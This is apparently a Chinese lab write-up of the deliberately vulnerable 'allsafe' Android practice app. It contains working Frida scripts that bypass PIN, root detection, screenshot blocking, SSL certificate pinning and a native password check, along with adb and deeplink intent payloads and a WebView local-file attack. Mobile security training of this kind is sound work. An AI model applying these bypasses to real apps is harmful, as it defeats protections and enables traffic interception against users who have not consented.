By ruanruan,2022/04/21
文章目录
- 1、不安全的日志记录
- 2、硬编码
- 3、pin绕过
- (1)反编译查看方法判断逻辑
- (2)hook方法
- A、Hook areEqual(Object,Object)
- B、Hook checkPin(a)
- (3)页面效果
- (4)踩坑
- 4、root检测绕过
- (1)反编译查看
- (2)hook方法
- (3)绕过效果
- 5、Secureflag绕过
- (1)查看相关代码
- (2)Hook脚本
- (3)hook效果
- 6、Deeplink利用
- (1)查看漏洞代码
- (2)漏洞利用
- A、访问html文件
- B、使用adb构造intent
- 7、Webview利用
- (1)查看漏洞代码
- (2)漏洞利用
- A、任务一:弹窗
- B、任务二:访问一个本地文件,如/etc/hosts
- 8、证书绕过
- (1)hook脚本
- (2)hook结果
- (3)踩坑
- 9、脆弱的加密
- (1)反编译查看
- (2)hook加密函数
- A、AES
- B、MD5
- C、Random
- 10、本地动态链接库
- (1)反编译查看
- (2)so文件查看检测函数代码
- (3)hook方法
- (4)hook结果
- (5)踩坑
1、不安全的日志记录
任务:在日志中找到key
命令查看日志中是否包含输入的key
adb logcat
2、硬编码
任务:查找硬编码user:password
查找到superadmin:supersecurepassword
3、pin绕过
任务:绕过pin检测
其实可以对NDg2Mw==,直接解码得4863
(1)反编译查看方法判断逻辑
查找areEqual方法,如下
(2)hook方法
A、Hook areEqual(Object,Object)
先是去hook了kotlin.jvm.internal.Intrinsics类的重载方法,通过传的first参数数据类型为String可知,调用的是
搜索Equal函数,是返回true or false
那么修改返回为true就行
js:
function hookChongZai(){var utils = Java.use("kotlin.jvm.internal.Intrinsics");utils.areEqual.overload('java.lang.Object', 'java.lang.Object').implementation = function(a,b){console.log(a,b);a = "2022";b = "2022";console.log(a,b);var ret = true;return ret;}
}function main(){Java.perform(function(){hookChongZai();})
}setImmediate(main);
输出:
页面显示
B、Hook checkPin(a)
修改返回值,只要return true就行
js:
function hookpin(){console.log("script running .....")var utils = Java.use("infosecadventures.allsafe.challenges.PinBypass");console.log("test\n");utils.checkPin.implementation = function(a){console.log(a);a = "2022";console.log(a);var ret = true;console.log(a,ret);return ret;}
}function main(){Java.perform(function(){hookpin();})
}setImmediate(main);
(3)页面效果
输入任意四位数,显示输入正确
(4)踩坑
-
overload(‘java.lang.Object’, ‘java.lang.Object’)
小结:
.overload('double', 'java.lang.Double').overload('float', 'java.lang.Float').overload('java.lang.Double', 'double').overload('java.lang.Double', 'java.lang.Double').overload('java.lang.Float', 'float').overload('java.lang.Float', 'java.lang.Float').overload('java.lang.Object', 'java.lang.Object')
-
将返回设置成字符串true了,即
var ret = “true”
;为变量赋值Boolean类型值的例子:
var found = true; var lost = false;
需要注意的是Boolean类型的字面值true和false是区分大小写的。
4、root检测绕过
任务:绕过root检测
(1)反编译查看
首先查看infosecadventures.allsafe.challenges.RootDetection
,找了找没有啥判断逻辑
再查看infosecadventures.allsafe.challenges.RootDetection$onCreateView$1
的检测逻辑
全局搜索isRooted
方法,如图可知是布尔类型的返回结果。
(2)hook方法
js:
function hookroot(){console.log("script running .....")var utils = Java.use("com.scottyab.rootbeer.RootBeer");console.log("test\n");utils.isRooted.implementation = function(){var ret = false;console.log(ret);return ret;}
}function main(){Java.perform(function(){hookroot();})
}setImmediate(main);
(3)绕过效果
原始页面:
绕过页面:
5、Secureflag绕过
任务:绕过禁止截屏限制
(1)查看相关代码
找到禁止截屏函数
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
然后查看setFlags
(2)Hook脚本
function hookflag(){console.log("script running .....")var utils = Java.use("androidx.recyclerview.widget.RecyclerView");console.log("test\n");utils.setFlags.implementation = function(a,b){console.log(a,b);a = 11;b = 11console.log(a,b);var ret = this.setFlags(a,b);console.log(ret);}
}function main(){Java.perform(function(){hookflag();})
}setImmediate(main);
(3)hook效果
思路是改setFlags的值,我看最开始输出是0,12,就给改成11,效果是黑屏卡住了 ==
找到对的值就ok
6、Deeplink利用
任务:尝试触发deeplink
(1)查看漏洞代码
先找到对应的Activity
再跟进 找到getintent()函数,看如何赋值的
可知参数data即为intent的值,以及对data的判断条件为和key的值相等则完成任务。
(2)漏洞利用
找到key的值如下
此时就应该构造intent为2131820617
A、访问html文件
可以看到action为null
但是从AndroidManifest.xml可以看到intent-filter为当Action为android.intent.action.VIEW可调用
构造html文件如下
<html><head><h1>deeplinktest</h1><head>
<body>
<a href="intent:#Intent;package=infosecadventures.allsafe;component=infosecadventures.allsafe/infosecadventures.allsafe.challenges.DeepLinkTask;action=android.intent.action.VIEW;data=2131820617;end">test</a>
</body>
</html>
但是 data的值好像传失败了==
B、使用adb构造intent
adb shell am start -n "infosecadventures.allsafe/infosecadventures.allsafe.challenges.DeepLinkTask" 2131820617adb shell am start -n "infosecadventures.allsafe/infosecadventures.allsafe.challenges.DeepLinkTask" -d "2131820617"
利用成功页面:
7、Webview利用
任务一:弹窗
任务二:访问一个本地文件,如/etc/host
(1)查看漏洞代码
漏洞条件:
-
setAllowFileAccess(true) (默认开启)
-
setJavaScriptEnabled(true)
-
WebView可以被外部调用,并能够加载外部可控的HTML文件
都满足,对传进来的
url
参数没有任何处理过滤,直接使用loadurl()
加载
(2)漏洞利用
A、任务一:弹窗
利用JavaScript伪协议进行弹窗
B、任务二:访问一个本地文件,如/etc/hosts
8、证书绕过
任务:拦截流量,绕过证书校验
(1)hook脚本
网上的通用脚本:
/* Android SSL Re-pinning frida script v0.2 030417-pier
$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt$ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause
https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/UPDATE 20191605: Fixed undeclared var. Thanks to @oleavr and @ehsanpc9999 !
*/setTimeout(function(){Java.perform(function (){console.log("");console.log("[.] Cert Pinning Bypass/Re-Pinning");
var CertificateFactory = Java.use("java.security.cert.CertificateFactory");var FileInputStream = Java.use("java.io.FileInputStream");var BufferedInputStream = Java.use("java.io.BufferedInputStream");var X509Certificate = Java.use("java.security.cert.X509Certificate");var KeyStore = Java.use("java.security.KeyStore");var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");var SSLContext = Java.use("javax.net.ssl.SSLContext");
// Load CAs from an InputStreamconsole.log("[+] Loading our CA...")var cf = CertificateFactory.getInstance("X.509");try {var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");}catch(err) {console.log("[o] " + err);}var bufferedInputStream = BufferedInputStream.$new(fileInputStream);var ca = cf.generateCertificate(bufferedInputStream);bufferedInputStream.close();
var certInfo = Java.cast(ca, X509Certificate);console.log("[o] Our CA Info: " + certInfo.getSubjectDN());
// Create a KeyStore containing our trusted CAsconsole.log("[+] Creating a KeyStore for our CA...");var keyStoreType = KeyStore.getDefaultType();var keyStore = KeyStore.getInstance(keyStoreType);keyStore.load(null, null);keyStore.setCertificateEntry("ca", ca);// Create a TrustManager that trusts the CAs in our KeyStoreconsole.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);tmf.init(keyStore);console.log("[+] Our TrustManager is ready...");
console.log("[+] Hijacking SSLContext methods now...")console.log("[-] Waiting for the app to invoke SSLContext.init()...")
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {console.log("[o] App invoked javax.net.ssl.SSLContext.init...");SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);console.log("[+] SSLContext initialized with our custom TrustManager!");}});
},0);
(2)hook结果
成功抓包:
(3)踩坑
看着是证书的问题,百度了一下需要系统信任burp证书
可是系统已经信任证书了
最后是替换了最新的证书解决的
9、脆弱的加密
任务:使用frida hook加密的方法
(1)反编译查看
(2)hook加密函数
A、AES
直接输出参数1,再篡改为参数2并对其加密
js:
function hookcrypto(){console.log("script running .....")var utils = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");console.log("test\n");utils.encrypt.implementation = function(a){console.log(a);a = "quan";console.log(a);var ret = this.encrypt(a);console.log(ret);return "The AES encrypto Result of " + a +":" + ret;}
}function main(){Java.perform(function(){hookcrypto();})
}setImmediate(main);
hook输出:
页面效果:
B、MD5
直接输出参数1,再篡改为参数2并对其加密
hook.js:
function hookcrypto(){console.log("script running .....")var utils = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");console.log("test\n");utils.md5Hash.implementation = function(a){console.log(a);a = "quan";console.log(a);var ret = this.md5Hash(a);console.log(ret);return "The MD5 Result of " + a +":" + ret;}
}function main(){Java.perform(function(){hookcrypto();})
}setImmediate(main);
hook输出:
页面效果:
C、Random
把随机数修改为固定值:111111
js:
function hookcrypto(){console.log("script running .....")var utils = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");console.log("test\n");utils.randomNumber.implementation = function(a){console.log(a);var ret = 111111;console.log(ret);return "The static data is : " + ret;}
}function main(){Java.perform(function(){hookcrypto();})
}setImmediate(main);
hook输出:
页面效果:
10、本地动态链接库
任务:使用frida hook密码检测的方法
(1)反编译查看
apktool.bat d 202204061604031.apk
可知检测密码的函数在native层,不能直接hook
(2)so文件查看检测函数代码
用Ghidra打开分析libnative_library.so文件,找到Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword函数
查看checkPass
hook Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword函数即可
void Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword(_JNIEnv *param_1,undefined8 param_2,_jstring *param_3){checkPass(param_1,param_3);return;
}
由代码可知该函数没有返回,但是要让if (NativeLibrary.access$checkPassword(nativeLibrary, editText2.getText().toString()))成立,那么条件即为true
(3)hook方法
js:
Java.perform(function(){ var nativePointer = Module.findExportByName("libnative_library.so", "Java_infosecadventures_allsafe_challenges_NativeLibrary_checkPassword"); send("native: " + nativePointer); Interceptor.attach(nativePointer, { onEnter: function(args){ send(args[0].toInt32()); send(args[1].toInt32()); send(args[2].toInt32()); //send(args[3].toInt32()); //send(args[4].toInt32()); }, onLeave: function(retval){ send("original check result: " + retval.toInt32()); retval.replace(1);send("final check result: " + retval.toInt32());} });
});
(4)hook结果
页面:
(5)踩坑
最开始设的retval为true,当成布尔型了
onLeave: function(retval){ send("original check result: " + retval.toInt32()); var ret = true;retval.replace(ret);send("final check result: " + retval.toInt32());
然后报错
定位到retval.replace(ret);
代码
想了想if(a),a只要不是null就行,令它为1